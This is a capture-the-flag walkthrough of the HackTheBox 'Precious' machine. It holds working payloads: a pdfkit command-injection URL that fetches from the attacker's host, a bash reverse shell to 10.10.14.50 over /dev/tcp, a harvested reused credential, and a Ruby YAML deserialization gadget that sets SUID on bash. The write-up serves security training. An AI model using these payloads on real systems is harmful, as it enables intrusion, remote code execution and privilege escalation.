4 minutes
HackTheBox :: Precious
Creator: Nauten
Machine URL: https://app.hackthebox.com/machines/Precious
Difficulty: Easy
Initial enumeration
# Nmap 7.93 scan initiated Tue Nov 29 17:07:14 2022 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.101.158
Nmap scan report for 10.129.101.158
Host is up, received reset ttl 63 (0.033s latency).
Scanned at 2022-11-29 17:07:15 CET for 21s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEAPxqUubE88njHItE+mjeWJXOLu5reIBmQHCYh2ETYO5zatgel+LjcYdgaa4KLFyw8CfDbRL9swlmGTaf4iUbao4jD73HV9/Vrnby7zP04OH3U/wVbAKbPJrjnva/czuuV6uNz4SVA3qk0bp6wOrxQFzCn5OvY3FTcceH1jrjrJmUKpGZJBZZO6cp0HkZWs/eQi8F7anVoMDKiiuP0VX28q/yR1AFB4vR5ej8iV/X73z3GOs3ZckQMhOiBmu1FF77c7VW1zqln480/AbvHJDULtRdZ5xrYH1nFynnPi6+VU/PIfVMpHbYu7t0mEFeI5HxMPNUvtYRRDC14jEtH6RpZxd7PhwYiBctiybZbonM5UP0lP85OuMMPcSMll65+8hzMMY2aejjHTYqgzd7M6HxcEMrJW7n7s5eCJqMoUXkL8RSBEQSmMUV8iWzHW0XkVUfYT5Ko6Xsnb+DiiLvFNUlFwO6hWz2WG8rlZ3voQ/gv8BLVCU1ziaVGerd61PODck=
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFScv6lLa14Uczimjt1W7qyH6OvXIyJGrznL1JXzgVFdABwi/oWWxUzEvwP5OMki1SW9QKX7kKVznWgFNOp815Y=
| 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH+JGiTFGOgn/iJUoLhZeybUvKeADIlm0fHnP/oZ66Qb
80/tcp open http syn-ack ttl 63 nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 29 17:07:36 2022 -- 1 IP address (1 host up) scanned in 21.90 seconds
Two ports are open.
We can add precious.htb to our /etc/hosts.
nginx Web server
We are greeted by a PDF converter web application.
The tool fetches a remote page and converts it to a PDF file.
Testing the converter
Let’s test out this functionality and inspect the resulting PDF file.
First, we host a page for the converter to process.
┌──(fluff㉿kali)-[/tmp/precious]
└─$ echo a > index.html
┌──(fluff㉿kali)-[/tmp/precious]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Then we submit our local web server on http://precious.htb:
┌──(fluff㉿kali)-[/tmp/precious]
└─$ curl -X POST --data 'url=http%3A%2F%2F10.10.14.50' http://precious.htb --output test.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 9629 100 9601 100 28 16675 48 --:--:-- --:--:-- --:--:-- 16717
And inspect the metadata of the resulting PDF file:
┌──(fluff㉿kali)-[/tmp/precious]
└─$ exiftool test.pdf
ExifTool Version Number : 12.57
File Name : test.pdf
Directory : .
File Size : 9.6 kB
...
Creator : Generated by pdfkit v0.8.6
The PDF file was generated by pdfkit v0.8.6.
Let’s check for any known vulnerabilities.
After a quick Google search, we discover a Command Injection (https://github.com/advisories/GHSA-rhwx-hjx2-x4qr)
Command Injection in pdfkit v0.8.6
CVE-2022-25765
Info on vulnerability:
- https://github.com/advisories/GHSA-rhwx-hjx2-x4qr
- https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
Testing code execution
Unencoded payload:
url=http://foo.bar/?name=#{'%20`curl http://10.10.14.50/hacked`'}
┌──(fluff㉿kali)-[/tmp/precious]
└─$ curl -X POST --data 'url=http%3A%2F%2Ffoo.bar%2F%3Fname%3D%23%7B%27%2520%60curl+http%3a//10.10.14.50/hacked%60%27%7D' http://precious.htb
We get a request on our web server:
10.129.182.174 - - [20/May/2023 16:25:18] code 404, message File not found
10.129.182.174 - - [20/May/2023 16:25:18] "GET /hacked HTTP/1.1" 404 -
Getting a reverse shell
Unencoded payload:
url=http://foo.bar/?name=#{'%20`bash -c \"bash -i >& /dev/tcp/10.10.14.50/443 0>&1\"`'}
┌──(fluff㉿kali)-[/tmp/precious]
└─$ curl -X POST --data 'url=http%3A%2F%2Ffoo.bar%2F%3Fname%3D%23%7B%27%2520%60bash+-c+\"bash+-i+>%26+/dev/tcp/10.10.14.50/443+0>%261\"%60%27%7D' http://precious.htb
We catch a reverse shell as ruby
ruby
After a quick enumeration, we discover credentials in ~/.bundle/config:
ruby@precious:~$ cat .bundle/config
cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q<REDACTED>H"
These credentials are reused and we can su
or SSH as henry.
henry
Grab a flag in ~/user.txt.
sudo
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry is allowed to run ruby /opt/update_dependencies.rb
as root.
Let’s inspect /opt/update_dependencies.rb as we can read it.
/opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Note that dependencies.yml are loaded from the current working directory.
...
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
...
This means that we can control this file and its contents.
We can abuse insecure deserialization in YAML.load
.
Privilege Escalation to root
Info: https://swisskyrepo.github.io/PayloadsAllTheThings/Insecure%20Deserialization/Ruby/#yamlload
dependecies.yml
henry@precious:/tmp/fluff$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod +s /bin/bash
method_id: :resolve
We will execute chmod +s /bin/bash
to set a SUID bit on the bash
binary.
Exploitation
henry@precious:/tmp/fluff$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
...
henry@precious:/tmp/fluff$ ls -la /usr/bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /usr/bin/bash
henry@precious:/tmp/fluff$ bash -p
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root) groups=0(root),1000(henry)
We are root!
Grab the flag at /root/root.txt. And we are done!